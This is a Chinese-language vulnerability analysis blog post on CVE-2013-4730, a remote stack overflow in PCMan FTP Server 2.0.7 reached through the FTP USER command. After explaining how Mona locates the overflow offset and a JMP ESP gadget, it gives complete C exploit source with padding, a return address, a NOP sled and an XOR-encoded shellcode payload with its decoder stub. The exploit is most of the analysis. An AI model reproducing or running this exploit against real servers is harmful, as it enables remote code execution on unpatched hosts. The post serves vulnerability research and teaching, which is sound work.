PCManFTP v2.0(CVE-2013-4730)漏洞分析报告

PCManFTP v2.0(CVE-2013-4730)漏洞分析报告

 

软件名称:PCManFTP

软件版本:2.0

漏洞模块:PCManFTPD2.exe

模块版本:2.0.7

编译日期:2013-06-27

操作系统:Windows XP/Windows 7

漏洞编号:CVE-2013-4730

危害等级:超危

漏洞类型:缓冲区溢出

威胁类型:远程

 

 

 

分析人:李祥

2017年3月1日



1. 软件简介

PCMan’s FTP Server是洪任谕程序员所研发的一套FTP服务器软件。该软件具有体积小、功能简单等特点。

软件界面:




2. 漏洞成因

CVE-2013-4730是PCMan FTP Server的2.0.7版在Windows XP下的远程溢出漏洞

通过查看文档可知,此软件由于未能有效处理FTP命令的字符长度,进而引发栈溢出漏洞,导致攻击者可以远程执行任何命令

用于FTP登录的“USER”命令即可触发此漏洞,也就是说我们在未提前获得目标的FTP访问权限的前提下,即可对其进行溢出攻击,因此这个漏洞造成的影响非常严重



3. 构造触发漏洞的POC

我们需要有一份能与FTP进行交互的代码才能受控的触发此漏洞。理论上讲,只要我们编写的代码符合RFC959标准,就可以与任何一个FTP服务器进行交互

不过FTP客户端的实现非常简单,我们完全没必要去阅读RFC959文档,我们只需作如下几步:

1.建立Socket链接,连接目标FTP

2.接受FTP服务器的欢迎语

3.发送“USER XXXX”登录请求

4.接受请求结果(不会走到这一步,此时FTP服务器已被攻击完)

和服务器交互的代码:

#include "stdafx.h"
#include <winsock2.h>   
#pragma comment(lib,"Ws2_32.lib")

int _tmain(int argc, _TCHAR* argv[])
{
    // 1. 初始化Winsock服务
    WSADATA stWSA;
    WSAStartup(0x0202, &stWSA);
    // 2. 创建一个原始套接字
    SOCKET stListen = INVALID_SOCKET;
    stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
    // 3. 在任意地址(INADDR_ANY)上绑定一个端口21
    SOCKADDR_IN stService;
    stService.sin_addr.s_addr = inet_addr("127.0.0.1");
    stService.sin_port = htons(21);
    stService.sin_family = AF_INET;
    connect(stListen, (SOCKADDR*)&stService, sizeof(stService));
    // 4. 接受欢迎语
    char szRecv[0x100] = { 0 };
    char *pCommand = "USER anonymous";
    recv(stListen, szRecv, sizeof(szRecv), 0);
    // 5. 发送登陆请求
    send(stListen, cExpolit, strlen(cExpolit), 0);
    recv(stListen, szRecv, sizeof(szRecv), 0);
    // 6. 关闭相关句柄并释放相关资源
    closesocket(stListen);
    WSACleanup();
    return 0;
}



使用Mona.py

Mona2是Corelan Team团队开发的一个专门用于辅助漏洞挖掘的脚本插件

Mona原本只支持Immunity Debugger,但是由于Immunity Debugger与OllyDbg同根同源,而OllyDbg的更新已经明显乏力,因此Mona2推出了可以在Windbg上使用的版本

Mona可以帮助我们快速的定位溢出点,并且可以帮助我们查找一些用于溢出的特殊指令,以及构成复杂攻击代码的小部件



我们现在可以用Mona2生成一段3000字节长度的测试字符串,用于确定溢出点




触发溢出后可见如下回显,证明我们正要在一个不存在的位置执行代码




通过以上信息我们知道EIP被覆盖成了0x31704330,我们可以使用如下的Mona2命令计算其溢出点


由以上结果可知,我们的溢出点在偏移2012的位置



溢出点已经确认,接下来我们需要用Mona2在目标程序空间中找到一个跳板指令“JMP ESP”


接下来可以构造我们的Exploit了



4. 构造Exploit

构建一个长字符串发送登录请求

格式:“USER “+填充字节区+JMP ESP跳板指令+滑板指令区+Shellcode(前面一部分是解密代码,后面是加过密的Shellcode(不含0x00,0x0A,0x0D))+”\r\n”

以下是源码

#include "stdafx.h"
#include <winsock2.h>   
#pragma comment(lib,"Ws2_32.lib")

int main()
{
    char bShellcode[] = \
        /* xor eax,eax                              */  "\x33\xC0" \
        /* call 0xFFFFFFFF                          */  "\xE8\xFF\xFF\xFF\xFF" \
        /* retn                                     */  "\xC3" \
        /* pop eax              ;eax=GetPc          */  "\x58" \
        /* lea esi,[eax+0x17]   ;esi=Shellcode      */  "\x8D\x70\x1B" \
        /* xor ecx,ecx          ;ecx=循环计数器      */  "\x33\xC9" \
        /* mov cx,0x0135        ; cx=Shellcode体积    */  "\x66\xB9\x35\x01" \
        /* tag_Decode:                              */
        /* mov al,[esi+ecx]     ; al=解密前字节      */  "\x8A\x04\x0E" \
        /* xor al,0x07          ;0x07为Key           */  "\x34\x07" \
        /* mov [esi+ecx],al                         */  "\x88\x04\x0E" \
        /* loop tag_Decode                          */  "\xE2\xF6" \
        /* xor [esi+ecx],0x07   ;解密最后一字节        */  "\x80\x34\x0E\x07" \
        /* jmp esi              ;跳到Shellcode        */  "\xFF\xE6" \
        "\x67\x84\xEB\x27\xEC\x4A\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63" \
        "\x75\x62\x74\x74\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75\x7E\x42" \
        "\x7F\x46\x07\x52\x74\x62\x75\x34\x35\x29\x63\x6B\x6B\x07\x4A\x62" \
        "\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x42\x7F\x6E\x73\x57\x75" \
        "\x68\x64\x62\x74\x74\x07\x4F\x62\x6B\x6B\x68\x27\x50\x68\x75\x6B" \
        "\x63\x26\x07\xEF\x07\x07\x07\x07\x5C\x63\x8C\x32\x37\x07\x07\x07" \
        "\x8C\x71\x0B\x8C\x71\x1B\x8C\x31\x8C\x51\x0F\x54\x55\xEF\x15\x07" \
        "\x07\x07\x8C\xF7\x8A\x4C\xBB\x56\x55\xF8\xD7\x54\x51\x57\x55\xEF" \
        "\x69\x07\x07\x07\x52\x8C\xEB\x84\xEB\x0B\x55\x8C\x52\x0F\x8C\x75" \
        "\x3B\x8A\x33\x35\x8C\x71\x7F\x8A\x33\x35\x8C\x79\x1B\x8A\x3B\x3D" \
        "\x8E\x7A\xFB\x8C\x79\x27\x8A\x3B\x3D\x8E\x7A\xFF\x8C\x79\x23\x8A" \
        "\x3B\x3D\x8E\x7A\xF3\x34\xC7\xEC\x06\x47\x8C\x72\xFF\x8C\x33\x81" \
        "\x8C\x52\x0F\x8A\x33\x35\x8C\x5A\x0B\x8A\x7C\xA9\xBE\x09\x07\x07" \
        "\x07\xFB\xF4\xA1\x72\xE4\x8C\x72\xF3\x34\xF8\x61\x8C\x3B\x41\x8C" \
        "\x52\xFB\x8C\x33\xBD\x8C\x52\x0F\x8A\x03\x35\x5D\x8C\xE2\x5A\xC5" \
        "\x0F\x07\x52\x8C\xEB\x84\xEB\x0F\x8C\x5A\x13\x8A\x4C\xCC\x6D\x07" \
        "\x6D\x07\x56\xF8\x52\x0B\x8A\x4C\xD1\x56\x57\xF8\x52\x17\x8E\x42" \
        "\xFB\x8A\x4C\xE5\x56\xF8\x72\x0F\xF8\x52\x17\x8E\x42\xFF\x8A\x4C" \
        "\xE9\x6D\x07\x56\x56\x6D\x07\xF8\x52\xFB\x6D\x07\xF8\x52\xFF\x8C" \
        "\xE2\x5A\xC5\x17\x07";
    char cExpolit[5000] = { 0x00 };         // Exploit容器
    char cFill[5000]    = { 0x00 };         // 填充字节
    char cNOP[51]       = { 0x00 };         // 滑板指令区
    char cRetnAddr[5] = "\x53\x02\xD1\x76"; // JMP ESP 跳板
    memset(cFill, 'A', 2007);   // 由Mona得到的偏移-5
    memset(cNOP, '\x90', 50);   // 少填充1字节,使其有0x00结尾
    sprintf_s(cExpolit, "%s%s%s%s%s%s", "USER ", cFill, cRetnAddr, cNOP, bShellcode, "\r\n");
    // 1. 初始化Winsock服务
    WSADATA stWSA;
    WSAStartup(0x0202, &stWSA);
    // 2. 创建一个原始套接字
    SOCKET stListen = INVALID_SOCKET;
    stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
    // 3. 在任意地址(INADDR_ANY)上绑定一个端口21
    SOCKADDR_IN stService;
    stService.sin_addr.s_addr = inet_addr("127.0.0.1");
    stService.sin_port = htons(21);
    stService.sin_family = AF_INET;
    connect(stListen, (SOCKADDR*)&stService, sizeof(stService));
    // 向FTP发送Exploit
    char szRecv[0x100] = { 0 };
    char* pCommand = NULL;
    // (1. 接受FTP欢迎语
    recv(stListen, szRecv, sizeof(szRecv), 0);
    // (2. 发送FTP登陆请求
    send(stListen, cExpolit, strlen(cExpolit), 0);
    recv(stListen, szRecv, sizeof(szRecv), 0);
    // 6. 关闭相关句柄并释放相关资源
    closesocket(stListen);
    WSACleanup();
    return 0;
}


测试成功图


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值